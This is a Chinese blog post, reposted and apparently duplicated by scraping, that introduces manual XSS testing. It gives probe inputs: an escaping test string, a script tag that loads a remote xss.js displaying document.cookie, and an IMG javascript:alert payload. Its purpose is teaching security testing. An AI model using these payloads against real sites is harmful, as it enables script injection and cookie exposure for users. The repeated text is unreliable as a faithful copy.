XSS(cross site scipt) cheat是安全测试的最常见的漏洞。
它指的是恶意***者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意***用户的特殊目的。XSS属于被动式的***,因为其被动且不好利用,所以许多人常忽略其危害性。
当他与csrf***手法结合时,会变的很强大很可怕(个人意见)。
怎样测试XSS呢?推荐一个好的去处:http://ha.ckers.org/xss.html
常用的简单的手工测试方法:
1、是 输入数据 ( '';!--"<XSS>=&{()} ) 验证输出数据是否进行了 Html 转义 ( '';!--"<XSS>=& ) 这是检察网页是否做了html转义,来避免恶意脚本被执行
2、上述网站推荐的另一个方法,输入数据 <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> ,检查是否有警告框弹出。
我们可以进去看下,http://ha.ckers.org/xss.js写了些什么js脚本。
获取到客户端的cookie,然后打印出警告框,显示当前cookie。
可以看到,一旦该脚本被执行,风险就不可控了。
3、还有图片类也可能产生XSS,我们在图片头文件中这样写
用户一旦点击该图片,头文件中的js就被偷偷摸摸的执行了。allin就做过类似的测试来防范邮件中的图片XSS***。
除此之外,还有大小写敏感,是否带引号等考虑,再次推荐参考
http://ha.ckers.org/xss.html
它指的是恶意***者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意***用户的特殊目的。XSS属于被动式的***,因为其被动且不好利用,所以许多人常忽略其危害性。
当他与csrf***手法结合时,会变的很强大很可怕(个人意见)。
怎样测试XSS呢?推荐一个好的去处:http://ha.ckers.org/xss.html
常用的简单的手工测试方法:
1、是 输入数据 ( '';!--"<XSS>=&{()} ) 验证输出数据是否进行了 Html 转义 ( '';!--"<XSS>=& ) 这是检察网页是否做了html转义,来避免恶意脚本被执行
2、上述网站推荐的另一个方法,输入数据 <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> ,检查是否有警告框弹出。
我们可以进去看下,http://ha.ckers.org/xss.js写了些什么js脚本。
document.write (
"This is remote text via xss.js located at ha.ckers.org " + document.cookie);
alert ( "This is remote text via xss.js located at ha.ckers.org " + document.cookie);
alert ( "This is remote text via xss.js located at ha.ckers.org " + document.cookie);
获取到客户端的cookie,然后打印出警告框,显示当前cookie。
可以看到,一旦该脚本被执行,风险就不可控了。
3、还有图片类也可能产生XSS,我们在图片头文件中这样写
<IMG SRC=
"javascript:alert('XSS');">
除此之外,还有大小写敏感,是否带引号等考虑,再次推荐参考
http://ha.ckers.org/xss.html
转载于:https://blog.51cto.com/vicky001/516489